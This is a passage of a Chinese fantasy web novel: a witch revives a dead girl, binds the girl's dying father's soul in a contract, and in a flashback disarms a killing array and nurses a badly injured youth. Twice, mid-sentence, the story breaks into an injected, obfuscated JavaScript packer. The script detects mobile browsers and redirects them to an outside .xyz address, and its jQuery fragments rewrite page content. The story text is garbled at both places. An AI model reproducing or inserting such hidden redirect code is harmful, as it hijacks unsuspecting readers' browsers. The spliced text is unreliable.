阵纹灵光闪动,灵汐口中不断念着古老的咒语,另一半心神还能清晰地感知到掌下皮肉渐渐生长,断开的经络一点点重连,皮肤裂口一丝丝弥合,鲜血又一滴滴充盈起这具身体…… 阵纹大亮,魂归来兮。 徘徊阵中,却无枝可依。 灵汐口中咒语转为治愈修复之咒,声音嘶哑之时,颈部断口终于修复完毕。 灵汐将额头对上女孩苍白额头,古老语言的奇异音调响起:“黄泉溯洄,光阴逆旅,返魂,归位!” 杨世安的身体骤然抽搐数下,沉寂的心脏重新收缩,胸前起伏,身魂融合。 灵汐抵着杨世安的额头,落下两行清泪。 抬头时已不见泪痕,灵汐神色如常地轻轻拍了拍女孩额头,起身离开。 不过刚一站起,灵汐只觉眼前一黑,仿佛被抽走筋骨般瘫倒在地。 心脏仿佛承受千钧重压,每跳一下都异常艰难,灵汐大口呼吸,空气却仿佛被隔绝在无形壁障之外,无论如何都进不到双肺。 灵汐差点以为自己要死了,静静躺在地上缓了许久,才慢慢找回对身体的知觉。 忍着浑身酸痛挣扎起身,灵汐来时还十分白净的脸上现已满是在火场沾的灰尘、施咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305764|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时流下的汗水、在草地挣扎时蹭上的草汁,全混在一起,看起来颇为狼狈。 缓了好几个深呼吸,灵汐才站起身来,脚步虚浮摇摇晃晃地回到杨弋身边。 男人只剩下一口气吊着,眼神却紧紧跟随灵汐的身影,闪着期待的光。 灵汐有气无力地开口:“成功了,她要睡会儿才能醒。但你不能等了,问你最后一遍,签订魂契,你会失去自主意识,只听主人驱策,还自愿吗?” 杨弋麻木僵硬的脸上顿时有了生气,仿佛他才是刚刚死而复生的那个,他喘着粗气又哭又笑道:“自愿!” 灵汐:“你还有什么遗言吗?” “麻烦你……她,托付给你……她很懂事,不会惹麻烦……还有,别,让她知道……” 虽然他并未说全,但灵汐明了地点了点头。 “还有,谢谢你。” “……” 复活咒着实耗光了灵汐的气力,但趁着自己还清醒,灵汐半刻不敢休息。 撕开手臂伤口又挤出一抹血,在杨弋额上画出一道契约,又取一滴杨弋的血点在契约中心,灵汐凝神念咒:“三魂画契,七魄押章,忘识之灵,悬丝吾掌!” 魂契图案灵光大现,契约已成。 灵汐脑袋一重身子一晃,喉中涌起腥甜血气。 一口鲜血吐出,灵汐双手撑地竭力吞吐着清凉空气,一道液体却从鼻下流出,紧接着就是第二道,抬手一抹,是鲜红的血花。 接连施两个禁术,其中还有一个逆天而行的复活咒,是身体遭到反噬了。 杨弋胸前冰霜逐渐褪去,呼吸渐渐微弱,像一座山沉入海洋,风再也无法走进他。 杨弋魂魄离体的刹那,就被吸入了血色的魂契。 灵汐强撑着精神在怀中摸索一番,从万象袋中摸出一株幽灵丝来,将拘着灵魂的魂契附着到幽灵丝上。 . 天边的鱼肚白染上了一层朦胧的金色,要日出了。 灵汐眼前炸开密密麻麻的光斑,呼吸越来越困难,大脑越来越昏沉,这是巫力透支后身体想要进入休眠的反应。 灵汐仅余的神志不断告诉自己,还不能睡,要尽快带那个孩子离开这里,还要处理杨弋的尸体。 虽然周围看起来并无人居住,但若是天亮后有人往这儿来就麻烦了。 灵汐一手撑地一手扶膝缓缓起身,好不容易才站稳。刚想挪脚,还是身不由主地踉跄了一下。 “咻——”利器破空之声与灵汐擦肩而过。 “当——”一柄柳叶飞刀插入焦黑的屋柱上。 灵汐迅疾回身,一个控物之术将地上箭矢打向来人,另一手按在刚刚收起的幽灵丝上。 来人一袭绀蓝劲装,身形矫健,轻盈跃起后一个空中旋身躲过箭雨,落地后复又望向灵汐所在方向,霎时呆住—— 刚刚还孤身一人的女子,侧前方突然多了个鬼魅人影,持剑将她护在身后。 但真正让他愣在当场的不是那来去无声的剑士,而是女子的脸。 “灵汐姑娘?灵汐姑娘!!!” 听到来人喊出她的名字,灵汐心下一惊,知道她这个初始名字且能认出她的脸的人并不算多,而其中多数都是恨她入骨的,实在不妙。 只是此时灵汐眼前繁星点点、天旋地转,只看到一个模模糊糊的人影轮廓奔她而来,实在看不清脸。 晃晃头努力辨认,可惜还没看清来人,灵汐就一头栽倒下去。 完了,失去意识前灵汐最后一个念头是,完了,万一真折在这儿,连这人是谁都没看清,做了鬼都没法报仇。 23. 前尘5 灵汐带着康康在海上漂了半个多月,才见到了陆地。 初次登上大陆,灵汐习惯性地先感知灵气以熟悉环境。 双手触摸大地,刚把神识放出,灵汐就受到了这辈子十四年来最大的冲击——好大!好大的陆地! 这片大陆对灵汐这个海岛上长大的孩子来说,过于广袤了。 灵汐第一次感受到如海洋一般无边无际的陆地,神识散出后,除了身后的海岸线,她竟感知不到其他方向的陆地边界。 灵汐第一次感到有些害怕,对这次出逃迟来的害怕。 无论是无尽夏还是雾隐岛,她八岁起就可以清楚地感知到岛屿边界、感知到自身在岛上的方位,她总能清晰地知道自己在哪里、要去哪里、该走哪里。 但到了真正的大荒大陆,灵汐第一次感到迷茫,她不知道自己在哪里、要去哪里、该走哪里。 大荒大得有些超出她的认知了。 康康是唯一熟悉的伙伴,灵汐只能抱紧康康给自己打气:来都来了,反正师尊一定在大陆上,就算地方再大,也总能找到的,大不了就是多走些路嘛!状况再差还能比回去被围剿更差吗? 康康:“嗷呜嗷呜~(别怕,我可以保护你!)” 灵汐欣慰地抓着康康蹭蹭脸:“幸好有你~” . 可惜,不是所有人都喜欢康康。 灵汐带着康康去最近的一个渔村问路,话还没说上两句,就有人尖叫着“有狼啊狼来了”跑开了,随后所有人便都作鸟兽散。 灵汐和康康尴尬对视,不知作何解释。 正想往村外走,一个个黝黑结实的汉子扛着鱼叉镰刀长棍,嘴里喊着“哪里有狼”“怎么会有狼呢”“咱村里哪来的狼”从各家院里冲出来,成群结队气势汹汹地杀向村口。 灵汐只能唤起一阵狂风卷起沙土,迷了所有人的眼睛,带着康康迅速逃离现场。 从那之后,灵汐便总让康康留在荒原林间、山野之地等她,自己出去找人打探消息。 接连问了五六个村子,没有一个人认识灵汐手上的地图,也没有一个人能说清自己的村子到底在地图哪个位置。 还没上岸时,灵汐就收到伏玉的信件——说雾隐岛有巫师利用她留在学堂的个人物品占卜出她已经离开无尽夏前往大荒大陆的事,并且卜出了她要去的大概方向,岛上不仅派出巫师在后追捕,还命在大陆值守的巫师于前方设下阵法活捉她。 灵汐当时听了只问伏玉能不能帮忙毁掉他们手上自己的物品。 灵汐此时十分迷茫,别人都卜出自己的路径了,自己却还没找到方向,她都想问问雾隐岛的人自己该往哪儿走了。 这种情况下,灵汐也只能靠占卜前进。 每天睁眼后第一件事就是占卜一下九幽山的方向,再跟着占卜出来的方向出发。 灵汐带着康康走的都是远离人烟的荒山野地,方向很难保持一致,走一会儿就要重新占卜调整方向。 但一人一狼并不觉得辛苦,山野间是康康的舒适区,也是灵汐的舒适区,与人族聚居的村镇相比,山野间灵气更加充足,这是巫师的仰赖,也是第一次离家的灵汐最大的安全感来源。 将近半月过去,从海岸线走进内陆,从平野走到山间,灵汐已经不记得自己翻过了几座山,路过了多少村庄城镇,终于在一个镇子的茶水摊打听到了在地图上有名的山——荆丘山, 灵汐也终于确定了自己的方向——向东向北,路过荆丘山,再继续北上。 又走了两天,走到一处水草丰茂、到处点缀着粉紫色小花的山坡时,康康突然停住脚步,动了动耳朵,低吼一声,面露警惕。 康康五感敏锐,这一路以来帮了灵汐不少忙,灵汐十分信任她,因此当即低下身子借着草丛的掩护,细细查探周围每一处灵气流动。 不多时,灵汐就察觉到异常——表面上极为正常的灵气之下,有一股被人刻意隐藏起来的十分规整的灵气,是有人在这里布了阵法。 灵汐立刻想到伏玉的警告,这有可能是雾隐岛巫师布下的针对她的阵法——她们的占卜还挺准。 灵汐再次万分仔细地探查—— 此阵十分庞大,单个阵法倒也没那么大,但一阵连一阵,顺着这座山体向东西两侧绵延到极远,如一道坚壁横亘在此处阻止人北上。 而且布阵之人下了死手,没看错的话,这是要将人粉身碎骨的夺命杀阵,只要有人踏进去,这杀阵便从各个方向断其生路。 阵与阵之间倒是有那么两处缺口,但是都离灵汐很远,何况这两处缺口怎么看都像是埋伏她的绝佳位置。 灵汐万分纠结该如何避过这阵法。 想破阵的话得先启动阵法才能看到灵力流动的源头阵眼,要启动阵法就得人进去,进去了就很难活下来了。 绕路呢?太明显的缺口肯定不能去,如果顺着阵法一直走说不定能发现别的突破口,绕绕远总能绕过去的,但是得绕多远呢?是向东还是向西呢? 人族聚居的地方肯定没有阵法,如果能找到人口密集的繁荣城邑肯定就能混过去了…… 就在灵汐脑中风起云涌时,一阵不详的呼号狂风在前方平地而起——阵法被启动了! 灵汐再次展开神识探知灵流,是真的有人闯入阵法,启动杀阵了! 灵流狂暴,风刃四起,灵汐似乎都听到在灵压绞杀下阵中人骨头断裂的声音了! 康康浑身肌肉紧绷,耳朵紧贴脑后,发出阵阵嘶吼,是随时准备进攻的紧张状态。 灵汐将康康按回草丛深处,留下一句“呆这儿别动”,便如离弦之箭飞出草丛直奔狂暴杀阵而去! 人一旦踏入这杀阵就没有逃脱之法,但阵外之人可以破阵。 灵汐迅速找到一处灵流入阵之地,干脆利落地在灵源之处画出另一个引灵之阵,将灵气引到一棵小树树根。 阵一落成,灵汐即刻念咒启动阵法,源源不断的灵气被导出杀阵之外,需要大量灵气支撑的杀阵很快便溃不成军,薪尽火灭。 阵中灵流风暴止息之时,接收灵气的小树已经长成了参天大树。 杀阵已破,灵汐跃入阵中,寻找这位阴差阳错凑巧助她解开杀阵的倒霉蛋。 即使这片山上草木茂盛不利视物,灵汐也很轻易地找到了目标——不仅有血腥气引路,且他周围方圆数丈草木皆碎,很难不注意到异常。 看身形是个和灵汐差不多年纪的少年,整个人血肉模糊,四肢皆以不自然的角度翻折着,森白的断骨穿破血肉暴露在空气中,浑身遍布大大小小的血淋淋的伤口。 如果没有提前发现杀阵,恐怕躺在这里的就是自己了。 这少年的生息已经极度微弱,但触发阵法引起如此大规模的灵气乱流,设阵之人如果守在附近,应该很快就会赶来,此地实在不宜久留。 灵汐上前护住他心脉,凝冰覆其全身以止住失血,小心翼翼护住断骨之处,将少年浮至空中,带着他向北而去。 怎么说这少年也是因为自己才遭此一难,灵汐觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305765|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己有义务救治他。 . 灵汐带着康康和那不知名少年落脚在一处隐蔽山洞,设下层层隐匿之术,防着追兵。 灵汐虽然早已过了抚生境,也早就学过疗愈之术,但说到底只在八岁那年治过一个活人,而且那次的伤患情况可比这少年轻多了。 这少年四肢和胸背上的骨头全断成好几节,连手指的骨头都碎了不少,光是接骨续筋就花费了灵汐三天时间。 还得修复伤到的体内脏器、体外伤口,时时护稳心脉、重联经络、催生新血、隔绝溃烂……这一套流程下来,整整七日,重伤的少年才算勉强保住了性命。 不仅灵汐虚脱了,康康也累了——灵汐没时间外出觅食,全是康康在替她找吃的。 等那少年的情况稳定下来,不再动不动就闯鬼门关,灵汐才有空抱着康康大哭一场,准确来说,她没力气大哭,只是趴在毛茸茸上默默流泪而已。 “救人比杀人难多了,也比杀人累多了,这就是为什么抚生境在噬骨境之上吗……” “嗷……”康康的叫声都低了不少。 “但也还是有好处的,这次下来我的疗愈之术已经滚瓜烂熟炉火纯青了……你的捕猎技术也更上一层楼了吧……我们两个还是很棒的。” “呜……”康康已经睡着了。 . 仅仅不再让无名少年时时刻刻往鬼门关里冲是远远不够的,灵汐的目标是让他恢复得比原来的身子骨更好,决不能比之前更差!不然灵汐会觉得对不起他。 尽管将骨肉尽数复位了,但现在的少年太过虚弱,急需补气补血补这补那的各种药物。 灵汐倒是带了不少伤药,但各种大补之药她还真没带。 感应了一下山上环境,真是十分贫瘠,连一棵野山参都没长。 灵汐不得不去人族城镇碰碰运气了。 荆丘山附近有一碧水城,灵汐如愿在城中找到一间药铺。 第一次去药铺,灵汐拿了满满一筐其他药材,想要换一根人参,结果被药铺伙计赶了出来。 第二次去药铺,灵汐说借给她一根人参,她能还给他们十根人参,又被伙计赶了出来。 第三次,灵汐偷偷溜进药铺后院,被一正在煎药的小药童撞个正着。 那药童看着比灵汐小上几岁,灵汐给她表演了几个看上去颇为唬人的巫术,又是浮空之术、又是凭空取火,小药童大呼神奇,坚信灵汐仙术了得。 灵汐此时又拿出“借一还十”的说辞,那药童就真的为灵汐偷偷拿来一根山参。 灵汐大为感动,将山参拿回去种在山上,一生二,二生三,三生了几十根,如约拿了十根还给药童,剩下的全都喂给了那位重伤少年。 . 昏睡了整整半个月后,少年才第一次醒来。 最先恢复的知觉就是痛觉,从头到脚都痛,里里外外都痛,生不如死的痛。 他想抬手摸摸伤处,但手也痛,也不听使唤;他想叫出声,但连痛呼的力气都没有。 少年艰难地转了转眼珠——这可能是他全身上下唯一能动的地方,眼前快速闪过一个模糊的黑影,那道人影带来光亮,映出一张白瓷人偶般的面庞,一双金瞳在冷光照耀下熠熠生辉,看上去不像人,倒像传说中的精灵鬼怪。 少年感到一只手覆上怦怦乱跳的心脏,心跳竟奇异般的规律舒缓下来,随即一股暖流从心脏流向四肢百骸,那钻心的疼痛也终于有所缓和。 “你终于醒啦!”白瓷人偶说话了。